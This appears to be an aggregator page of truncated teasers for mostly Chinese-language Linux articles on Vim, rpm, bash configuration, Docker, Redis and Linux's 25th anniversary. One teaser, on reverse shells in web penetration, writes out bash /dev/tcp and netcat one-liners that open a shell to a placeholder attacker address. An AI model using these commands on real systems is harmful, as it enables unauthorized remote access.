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#error “Here's a nickel kid. Go buy yourself a real computer.”

/* Software floating-point emulation. Definitions for IEEE Double Precision Copyright (C) 1997,1998,1999 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Richard...

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王炸养成记――看Linux 25周年发展变化

ZD至顶网软件频道消息: 即使桌面端成为linux不可挽回的“朱砂痣”,但是也丝毫无损Linux从一文不名成长为王炸的好牌。 是否有人还记得,1976年比尔盖茨那封义愤填膺的《写给电脑爱好者的公开信》?――“有谁会在没有报酬的情况下做这些专业的工作?什么样的爱好者可以为他的产品投入三年的开发时间,并且发现所有的错误、编写文档并且免费发布?”从此,商业软件一发不可收拾。...

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RHEL7 下 Vim编辑器使用

本文介绍Vim编辑器的使用 vi和vim的区别 它们都是多模式编辑器 不同的是vim是vi的升级版本 它不仅兼容vi的所有指令而且还有一些新的特性在里面 vim的这些优势主要体现在以下几个方面 多级撤消 在vi里 按u只能撤消上次命令 而在vim里可以无限制的撤消 易用性 vi只能运行于unix中 而vim不仅可以运行于unix windows mac等多操作平台 语法加亮...

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RHEL7基本命令详解

Terminal TTY TTY是TeleTYpe的一个老缩写。 Teletypes,或者teletypewriters,原来指的是电传打字机,是通过串行线用打印机键盘通过阅读和发送信息的东西,和古老的电报机区别并不是很大。 之后,当计算机只能以批处理方式运行时(当时穿孔卡片阅读器是唯一一种使程序载入运行的方式),电传打字机成为唯一能够被使用的“实时”输入/输出设备。...

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Ubuntu 16.10 Beta Launches for Opt-in Flavors, Adds GCC 6.2 and LibreOffice 5.2

Today, August 25, 2016, is not only the birthday of the linux kernel , but also an important date in the release schedule of the upcoming Ubuntu 16.10 (Yakkety Yak) operating system, as the first Beta...

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才云 Caicloud 正式成为 CNCF / Linux Foundation 官方合作伙伴

杭州2016年8月26日电 /美通社/ -- 据 CNCF 及 The linux Foundation 北美官方消息,才云科技(Caicloud)自2016年8月23日起正式成为 CNCF 官方合作伙伴,这也是中国首家容器云服务公司出现在 CNCF 的官方合作名单上。 CNCF官网首页截图 CNCF 来历 CNCF (全称 Cloud Native Computing...

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Linus Torvalds谈Linux的起源

linux诞生25周年之际,它的缔造者Linus Torvalds 接受了采访...

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shell脚本编程__bash的配置

shell 脚本编程__bash的配置 一、 bash 的配置文件: 按生效范围划分,存在两类: 全局配置: /etc/profile /etc/profile.d/*.sh /etc/bashrc 个人配置: ~/.bash_profile ~/.bashrc 二、 shell 登陆的两种方式: 1 、交互式登录: Xshell 等软件登陆和终端的字符界面登陆 (1)...

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Linux软件包管理器―rpm

过去,许多 linux 程序以源代码的形式发行,用户把源代码构建为所需的程序或程序集;源代码还附带必需的手册页、配置文件等等。现在,大多数 Linux 发行商使用称为包的预构建的程序或程序集,包便于在发行版上安装。 rpm 最开始是Red Hat Package Manager 之意,原用在Red Hat Linux一款软件包管理器,先在已被许多其他Linux...

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glibc CVE re: getaddrinfo() and userspace ksplice

I have my own server with Oracle linux 6 (of course) where I host a ton of personal stuff and this server was also affected by the nasty DNS bug from last week (see : CVE-2015-7547 ). Everyone really...

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My Life with NeoVim

Early this year, my frustrations with Vim reached a boiling point. I was frustrated by slow, synchronous Syntastic checkers that I had come to rely on. I wanted the in-editor feedback the checkers...

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Live migrating Btrfs from RAID 5/6 to RAID 10

Recently it was discovered that the RAID 5/6 implementation in Btrfs is completely broken , due to the fact that it miscalculates parity (which is rather important in RAID 5 and RAID 6). So what to do...

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Web渗透中的反弹Shell

0x00 通过webshell反弹交互式shell是提权必备的一种手段。 0x01 linux下的反弹shell 1. 少数发行版的Linux的bash是可以直接反弹的。 bash i > & / dev / tcp / x . x . x . x / 2333 0 > & 1 2.借助NetCat nc一般Linux都会自带。 nc e / bin / sh x . x...

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CI coverage from Windows, Linux and OSX

Once I got CI working on multiple platforms the obvious next step was to be able to aggregate coverage reports across them. This should not be that hard, right? Well I've spent couple of hours on that...

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在Ubuntu中安装Docker

Ubuntu实用工具系列文章 ,将介绍基于linux ubuntu的各种工具软件的配置和使用。有些工具大家早已耳熟能详,有些工具经常用到但确依然陌生。我将记录我在使用操作系统时,安装及配置工具上面的一些方法,把使用心得记录下来也便于自己的以后查找和回忆。 关于作者: 张丹, 程序员R,Nodejs,Java weibo:@Conan_Z blog:http://blog.fens.me...

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Linus on Linux's 25th Birthday

The creator of linux, Linus Torvalds, posted his famous message announcing Linux on August 25, 1991, claiming that it was "just a hobby, won't be big and professional like gnu." ZDNet's Steven J....

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Flappy Bird in 1234 bytes ofBash

Contrary to an infamous opinion from a bygone era, 640KB is not really sufficient for anyone anymore. A typical website exceeds that easily, and executable programs are usually measured inmegabytes....

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redis集群配置

1 、环境准备 1 )准备 6 台 ubuntu 虚拟机 2 )配置好 IP ( 192.168.1.36,192.168.1.37,192.168.1.38, 192.168.1.40 , 192.168.1.41,192.168.1.42 三台 master 三台 slave ) 3 )安装好 openssh-server 2 、下载 redis...

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Linus On Linux's 25th Birthday

Let's face it, the only reason you read interviews with Linus Torvalds is in case he goes completely off script and starts cussing people out or flipping people off. Well, that and he is a pretty...

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CentOS系统修改网卡em1为eth0的方法

问题:部分Dell服务器在安装linux操作系统之后,发现网卡名称变成em1了。解决办法:修改网卡名称为eth0,这里以CentOS操作系统为例。一:修改系统grubvi /boot/grub/grub.conf #在内核参数后面添加biosdevname=0kernel /vmlinuz-2.6.32-573.7.1.el6.x86_64 ro...

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